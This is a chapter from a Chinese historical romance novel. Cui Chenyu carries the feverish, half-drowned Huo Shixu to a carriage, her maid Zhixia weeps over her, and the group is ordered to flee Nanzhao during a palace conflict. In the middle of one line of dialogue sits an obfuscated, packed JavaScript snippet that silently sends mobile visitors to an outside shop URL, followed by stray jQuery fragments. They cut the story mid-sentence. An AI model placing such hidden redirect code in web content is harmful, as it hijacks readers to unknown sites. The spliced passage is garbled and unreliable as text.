崔宸玉唤道:“霜刃,我方才托雾影的事可办妥了?”
“回公子,办妥了。”
霜刃恭敬地将衣袍递到二人面前,崔宸玉腾出一只手拉过外袍,顺势一抖,整件外裳顺力落在胸前。他调整着位置,向里拢了拢,确保衣袍能隔绝自己身上的湿气的同时,还能将霍时煦牢牢包裹住。
逐渐上升的体温让霍时煦的脑海不大清明,朦胧间,她感受到滴滴水珠凝聚,顺着崔宸玉的下巴与发间落于衣袍之上,缓缓洇开。她张了张口,想要让他将手上的衣袍换上,却被眼前的迷雾所吞噬,逐渐昏睡过去。
崔宸玉手中搂人的动作紧了紧,步伐迈得更快了些,扬声问道:“还有多远?”
霜刃在前方开路,听到声音便回头唤道:“公子,马车早已在候在林外,就在前边!”
说话间,一辆玄色马车映入眼帘。马车内部早早被人精心打理过,整个车厢用柔软舒适的锦被铺满,两套干净的衣裳被折叠整齐放于一旁,连汤婆子也备上了两个,如今还隐隐冒着热烟。一边的角落处放着一个端端正正的食盒,溢出丝丝姜味,衬得整个空间暖乎乎的。
崔宸玉小心翼翼地将人放下,见霜刃紧随其后跟进马车,冲她点了点头,拎起一旁的衣裳便及时退出车外。
转瞬间,他着一身干净的衣袍自林中归来,见马车内趋于安静,他顿了顿,步伐止于车外不远处。
长身玉立,崔宸玉就这样怔怔地望着前方。忽然,一滴水珠顺着发丝滴落在下垂的左手手背之上。他将视线收回,抬起手,低头用拇指将水珠完整抹去。
午后的日头正烈,热气蒸腾,伴随着清爽的凉风,草木摇晃,掠起阵阵蝉鸣。
饱含惊喜的声音自车内传来,霜刃扬声道:“公子!霍姑娘醒了!”
霍时煦清醒而疏离的声音适时响起,她道:“多谢姑娘,我自己来吧。”
马车之内充斥着悉悉索索的声音,想来是霍时煦在整理身上湿漉漉的衣装。崔宸玉识趣退后,背对马车,将视线投向四周。
顷刻间,余光之内不远处出现两大两小四个模糊身影,冲着马车所在之处狂奔而来。手中折扇一紧,崔宸玉长腿收回,身形一转便向几人来时路迎去。
一名女子率先靠近,速度之快,转瞬间身影由小变大,不是那雾影是谁?待看清来人,他手中折扇收起,静待着对方。
庄熠一边努力地跟上雾影的速度,一边回头关注着后方。只有螽离和知夏两小远远跟在后边,一边喘一边喊着“慢些慢些”。
“公子!”雾影在崔宸玉面前不远处站定,恭敬行礼。庄熠看了眼状况,踌躇片刻,随后果断回头,一左一右将两小夹在胳膊间,不一会便将人带到此地。
四人行色匆匆,崔宸玉眉尾一挑。庄熠一贯难开金口,知夏四处张望,似是在寻找些什么,螽离躬着腰喘个不停,还未将气顺匀。环视四人一圈,他最终将视线落在雾影身上。
待人到齐,雾影也未耽搁,言简意赅道:“公子,主人动手了。”
崔宸玉眉心一皱,问道:“今日?”
螽离好不容易将气喘匀了些,接话道:“大靖使臣明日便要进城,契尤那老头提前发难,想要拿霍姐姐的身份做文章,还有人趁阿娘不备对阿爹下手。幸好阿爹阿娘早有准备,雨霖铃的风晴宫主也一直隐在暗处助力。”
螽离顿了顿,看了眼崔宸玉的神色,随后环顾四周,似乎在寻找着些什么。
崔宸玉耐心告急,手中折扇抬起,不轻不重地敲上螽离的额头,道:“怎么了?快些说,吞吞吐吐像什么样子!”
平白挨了一下的螽离有些委屈,捂着被敲的地方瘪瘪嘴道:“小舅舅,霍姐姐呢?”
折扇指向马车的方向,崔宸玉不想知夏二人太过担心,便只是说道:“落水受了凉,在马车里面歇着。”
知夏满眼的期待瞬间转为焦急,声音也隐隐带上了哭腔,她道:“落水?小姐儿时便落过水,而后便落下了不能言的毛病,现下怎得又落水了?!”
“我去看小姐!”知夏匆匆向崔宸玉行过一礼,拽着一旁一直未发一言的庄熠朝着马车快步而去。疾步行至车外,知夏小心翼翼询问道:“小姐!您还好么?”
马车帘子一扬,霜刃探头出现。见门外是熟悉的人影,她掀帘子的手一顿,庄熠也怔愣在原地。知夏一声清脆的“小姐”困在喉中,她看看霜刃,又看看庄熠,满头雾水。
知夏:“……”
这什么情况??我的小姐呢?我那么大一个小姐呢???
这时,熟悉又有些沙哑的声音于马车内响起,很轻,知夏却听见了。
霍时煦道:“我在这,进来吧。”
一股热泪涌起,知夏几乎是连滚带爬地进入马车之内。在看到除了面色有些苍白,但身体还全乎,现今也是清醒着的霍时煦,再也忍不住直直扑倒在霍时煦怀中。
低低地啜泣声在霍时煦胸前响起,声音闷闷的:“呜呜呜小姐……我听到您落水了,我以为,我以为……”
一碗姜汤灌下,加上雨霖铃特制的特效药,如今她头脑中的昏沉已驱散了大半,只是嗓音还有些沉闷,身体也还残留着些疲惫。
霍时煦用完好的那一只手臂轻轻揉了揉知夏的头,温声道:“我没事。”
任由知夏在怀中哭着,眼前车帘随风扬起,她的目光透着缝隙看向不远处。那个缝隙不大,却刚刚好能将崔宸玉的身影框住,能看到螽离用双手阻拦着崔宸玉手中的折扇落下的场景。
忍不住眼眸弯弯,霍时煦面上扬起自己都没有注意到的笑意。
知夏感受到胸膛的微微震动,也不哭了,从霍时煦怀中抬起头来,微微愣住:“小姐……小姐您笑了!您都落水了您还笑!”
完了完了,上一次落水是不能说话,这回能说话了,人好像有点傻了……
长公主,霍将军,都是我的错,我没有照顾好小姐,等我下去了一定给您二老赔罪,呜呜呜……
知夏泪落得更欢了。
霍时煦轻轻将小脸上的泪痕抹去,冲她安抚地笑了笑,眼神却不由自主地落向车外,留意着此处的动静。
螽离双手一直捂着额头,灵活地避开崔宸玉的魔爪,他瞟了一眼马车,微微朝崔宸玉的方向探头,步伐却未上前,压低声音似是不想让人听到:“阿娘说,城里这些老头都不足为惧,只是霍姐姐身份特殊,现下还是离开为好。”
不远处,霜刃与雾影并肩而立,二人身影相似,如双生花一般,只是一个美艳灿烂,一个清隽如霜。霜刃的眼神时不时落在马车之外的人影处,直到听到雾影的声音才学着她的动作恭敬复命,眼神却依旧时不时地在那处停留。
雾影道:“主人让我二人护送你们离开晋城。”
崔宸玉道:“阿姐有说去哪里么?”
雾影恭敬道:“并未,只是交代我二人——若是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542028|203023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可以,尽量离开南诏。”
崔宸玉道:“那你们速速护送霍姑娘离开,我先回霁月宫一趟。”
“诶!小舅舅!”螽离刚出声,崔宸玉的袖子便被一左一右扯住。他疑惑回头,雾影声音不带一丝波动,道:“主人说了,你同霍姑娘一起走。”
“我?”崔宸玉指了指自己。
霜刃劝道:“主人未雨绸缪了这些年,您当是信任她的。若是您留下反而给她多了一分顾虑,不如公子您便随霍姑娘一同离开吧。待此间事了,主人定会传信与您的。”
螽离在旁边点头,附和道:“对啊对啊。”
崔宸玉一愣,很快明白了霜刃言下之意——阿姐这是嫌他碍事呢。伸手揉了揉螽离的头,他道:“还点头呢?阿岚也没被送出宫,只有你我,我俩都被嫌弃了知道么?”
螽离依旧点点头,很平静地接受了这一点:“阿岚是圣姬,是未来的圣女殿下,自然是要跟在阿娘身边学的。”
崔宸玉失笑,手上使力,不轻不重地揉了揉螽离的头。螽离年纪虽小,却有自己的志向。自小便展现了对药材与医道极高的天赋,能游历世间,遍寻百草便是他小小年纪最大的心愿。
“既如此,便走吧。”崔宸玉挥挥手。
“嘘——”长而有力的口哨声响起,三匹精壮的骏马自山林间疾驰而来,稳稳停至霜刃面前。霜刃慈爱地摸了摸马鬓,手中牵绳一绕,便轻松地将三匹骏马带至马车附近。
庄熠的存在感实在太过轻,直到行至马车边崔宸玉这才注意到他脚边放着一个精致的背篓,大小正符合螽离的身形,大小瓶罐布满其中。
崔宸玉笑着摇了摇头,真是有备而来,东西带得够全乎的。口中叹着,手上却不客气。骨节分明的手指游走其中,随后挑出一个白玉罐子,打开仔细闻了闻,这才敲了敲车壁。
知夏自车壁之内探出头来,见是崔宸玉,撇了撇嘴,却还是不情愿地礼貌问道:“公子有何事?”
崔宸玉将玉瓶递上,温声道:“此乃螽离特制的祛疤生肌散,每日给你家小姐涂上,早晚各一次,不出半月便能好。”
知夏双手接过,霍时煦的声音先一步传来:“多谢崔公子。”
“无事,无事。”折扇不经意间打开,在胸前频繁煽动,崔宸玉点点头,利落转身行至马车车驾处。此时庄熠站在侧边将车驾缰绳绑紧,见崔宸玉自然而然地侧身坐上驾车的位置,有些疑惑,却还是听话走开——圣女殿下的亲弟弟,还会亲自赶车吗?南诏的习俗果真令人惊叹。
“又见面了。”见庄熠走来,霜刃笑眯眯打招呼。
庄熠点点头:“嗯。”
“想要马吗?”霜刃笑眯眯问道。
庄熠依旧老实点头:“嗯!”
霜刃依旧笑眯眯:“那把你的剑借给我看看。”
握剑的手一紧,庄熠眉头皱了皱,似在纠结,霜刃静静地站在面前欣赏着他的表情。半晌,庄熠突然侧身相立,单手握着剑身直直递于霜刃眼前,头紧绷着,偏过不去看霜刃的眼睛,直到黑黝黝的面庞慢慢涨红,这才从口中憋出来一句:“给你。”
“噗!”霜刃笑开,打趣道:“我只是看看,又不是让你卖身,缘何如此?你这大高个实在是有趣得紧。罢了,我这便看过了,你拿回去罢!”
通红的脸逐渐涨成猪肝色,庄熠磕磕巴巴道:“此剑乃长公主所赠,是我此生最重要的器物,不能轻易送人的。”